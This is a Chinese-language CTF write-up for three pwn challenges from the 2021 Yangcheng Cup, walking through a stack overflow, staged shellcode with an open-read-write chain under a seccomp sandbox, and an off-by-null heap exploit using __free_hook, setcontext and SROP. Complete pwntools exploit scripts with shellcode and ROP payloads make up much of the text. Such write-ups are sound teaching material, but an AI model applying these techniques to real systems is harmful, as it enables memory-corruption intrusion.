2021羊城杯PWN

前言

这次比赛,我能做的应该是有三题的,可能还是太菜了,比赛时就是没出,最终只做了个签到题,还好手快抢了一血,长路漫漫,继续加油吧!

复现来源:https://blog.csdn.net/eeeeeight/article/details/120255533

BabyRop

这题签到题,很简单的栈溢出,没什么好讲的

1
2
3
4
5
6
7
8
9
10
from pwn import*
from LibcSearcher import*

p=remote('192.168.39.50',11000)
context(log_level='debug',arch='i386',os='linux')
#p.recvuntil("Input:\n")
payload = 'a' * 0x2c + p32(0x80490a0) + p32(0) + p32(0x0804c029)
p.sendline(payload)
p.interactive()

nologin

image-20210913165518141

常规checksec,64位,保护基本没开,存在可执行段,这种一般就是注入shellcode去执行的

image-20210913170209042

同时,当你执行到admin功能时,会开启沙箱,禁用了execve,所以这题就变成了orw了。admin功能是必须要进的,因为这里才存在着漏洞——栈溢出

image-20210913170334228

image-20210913170528035

image-20210913170611997

buf这里可以写入30个字节的内容,所以可以覆盖到返回地址,但是具体的长度要动态去看。我这边是进入到了admin功能中,可以看见,前五个字节是用来对齐栈内容,接下来的八个字节就可以覆盖rbp内容,这边覆盖的是admin中输入函数的rbp

image-20210913171057369

image-20210913221356910

image-20210913221754144

并且呢,.bss是属于可执行段的,先覆盖返回地址去执行read函数,因为read是有三个参数的,但是我们可以观察当执行read函数时,三个参数都是已经满足了的(因为我们刚开始就借着read函数的溢出,并且寄存器并未被改变)。所以写入数据的地方是栈上一个地址,所以先构造一次shellcode(注意shellcode大小,因为长度最多为0x1d)系统调用read函数,往.bss上写第二个shellcode,这次shellcode的长度一定要够大,不然写不下。最后就是在.bss上写最终的orw,读取flag即可

image-20210913211252996

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!usr/bin/env python 
#coding=utf-8
from pwn import *
elf = ELF("./nologin")
context.binary = elf
p = process("./nologin")
call_rsi = 0x000000000040186b
read = elf.plt['read']

gdb.attach(p,"b *0x0000000000401007")
p.sendlineafter("input>> \n",'2')
p.recvuntil(">password: ")
payload = 'a'*5 + p64(0x602030+0x28)+ p64(read) + p64(call_rsi)
p.sendline(payload)
shellcode=asm('''
xor rax, rax;
push r11;
pop rdx;
mov rsi, 0x602100;
syscall;
add rsi, 28;
jmp rsi;
''')
print hex(len(shellcode))
p.sendline(shellcode)
shellcode1=asm('''
xor rax, rax;
mov rax, 2;
sub rsi, 16;
mov rdi, rsi;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x602300;
mov rdx, 0x80;
syscall;

mov rax, 1;
mov rdi, 1;
syscall;
''')
print hex(len(shellcode1))
p.sendline('b'*11 + './flag\x00\x00'*3 + shellcode1)
p.interactive()

Whats your name

image-20210923204918588

常规checksec,64位保护全开

image-20210924083229104

add里面,会先申请一块0x10大小的堆块,然后在前八字节作为函数指针存放puts地址,后八字节存放一个大小在0~0x100之间的堆块地址,最多能申请出10个堆块image-20210924083439735

image-20210924083201516

在edit里面,写入函数会堆溢出一个0,漏洞点offbynull

image-20210924083514708

show里面,调用之前存放的函数指针,打印堆块内容

image-20210924083618714

释放堆块,全部置0

image-20210924083715443

最后,程序开了沙箱,看来是要orw了

image-20210923204552633

这是什么都没做的情况,由于开启沙箱都是会这样的出现很多的堆块,里面有一块是unsorted chunk,给他申请回来,里面就已经存放着脏数据了,直接就能泄露libc。同样也能泄露出堆上地址

1
2
3
4
5
6
7
8
add(0xe8) #0
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480
log.info("libc_base==>0x%x" %libc_base)
add(0x70) #1
show(1)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('heap_addr==>0x%x' %heap_addr)

image-20210924092730279

我们要利用offbynull,肯定是要制造出堆块重叠的,那么就一定要让堆块是连续的,所以不能是上面bin链存在的大小,并且offbynull,那溢出被覆盖为0的肯定是0xf0的堆块image-20210924093026970

这是连续申请出来的四个堆块,全都连在了一起,才方便我们后续制造堆块重叠

image-20210924093202818

通过offbynull,成功将in_use位置为0

image-20210924094657672

然后释放堆块,触发合并

image-20210924195657525

image-20210924200058670

然后再把0xf0堆块申请回来,接着我们申请在bin有的堆块,因为再分配就是要重叠在之前未被释放的0x40的堆块上了,而我们要和这个堆块重叠的要选择那个程序帮我们申请的堆块,因为控制这个堆块是可以借着edit功能执行任意地址写的,或者在show功能里面获得执行权限,可谓好处多多

1
2
3
4
5
6
7
8
9
10
add(0xf0) #2
add(0x38) #3
add(0xf0) #4
add(0x30) #5
free(2)
edit(3, 'a'*0x30 + p64(0x140))
free(4)
add(0xf0) #2
add(0x60) #4
add(0x20) #6

到现在,所有的铺垫都已经准备好了,接着先计算一下我们需要的gadget,以及rop的地址计算,以及flag地址的排布

image-20210924200749914

把flag字符串写到前面我们申请的1堆块上,可以直接用搜索功能,更快点,rop的地址要后面申请出写的堆块再回来算的

1
2
3
4
5
6
7
8
9
10
11
setcontext = libc_base + libc.sym["setcontext"] + 53
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
free_hook = libc_base + libc.sym['__free_hook']
ret = 0x0000000000000937 + libc_base
pop_rdi = 0x0000000000021112 + libc_base
pop_rsi = 0x00000000000202f8 + libc_base
pop_rdx = 0x0000000000001b92 + libc_base
rop_addr = heap_addr + 0x820
flag_addr = heap_addr - 0x190

image-20210924202223468

image-20210924211125389

借着前面的堆块重叠,往free_hook里面写setcontext+53就行,然后就是最后的堆上布置rop链,堆块给的够大,那就直接选择最大的堆块进行布置,因为要先申请一个0x20的堆块,剩下的大小不够0x100,所以堆块的位置是在最下方的,然后在上面布置好rop,最后就是在setcontext的gadget指向的相应位置写好,跳转执行就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
edit(1, './flag\x00')
edit(3, 'a'*8 + p64(free_hook))
edit(6, p64(setcontext))
add(0x100) #7
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(write)
success(hex(len(payload)))
edit(7, 'a'*8 + payload)
frame = SigreturnFrame()
frame.rsp = rop_addr + 8
frame.rip = ret
success(hex(len(frame)))
edit(0, str(frame))
free(0)

image-20210924220626687

成功读取flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./name")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc = ELF("./libc.so.6")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("",)
def debug():
gdb.attach(p,"b main")

def add(size):
p.sendlineafter("5.exit\n",'1')
p.recvuntil("name size:\n")
p.sendline(str(size))

def edit(idx,content):
p.sendlineafter("5.exit\n",'2')
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("name:\n")
p.send(content)

def show(idx):
p.sendlineafter("5.exit\n",'3')
p.recvuntil("index:\n")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("5.exit\n",'4')
p.recvuntil("index:\n")
p.sendline(str(idx))

add(0xe8) #0
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480
log.info("libc_base==>0x%x" %libc_base)
add(0x70) #1
show(1)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('heap_addr==>0x%x' %heap_addr)

add(0xf0) #2
add(0x38) #3
add(0xf0) #4
add(0x30) #5
free(2)
edit(3, 'a'*0x30 + p64(0x140))
free(4)
add(0xf0) #2
add(0x60) #4
add(0x20) #6

setcontext = libc_base + libc.sym["setcontext"] + 53
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
free_hook = libc_base + libc.sym['__free_hook']
ret = 0x0000000000000937 + libc_base
pop_rdi = 0x0000000000021112 + libc_base
pop_rsi = 0x00000000000202f8 + libc_base
pop_rdx = 0x0000000000001b92 + libc_base
rop_addr = heap_addr + 0x820
flag_addr = heap_addr - 0x190

edit(1, './flag\x00')
edit(3, 'a'*8 + p64(free_hook))
edit(6, p64(setcontext))
add(0x100) #7
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(write)
success(hex(len(payload)))
edit(7, 'a'*8 + payload)
frame = SigreturnFrame()
frame.rsp = rop_addr + 8
frame.rip = ret
success(hex(len(frame)))
edit(0, str(frame))
free(0)
p.interactive()
查看评论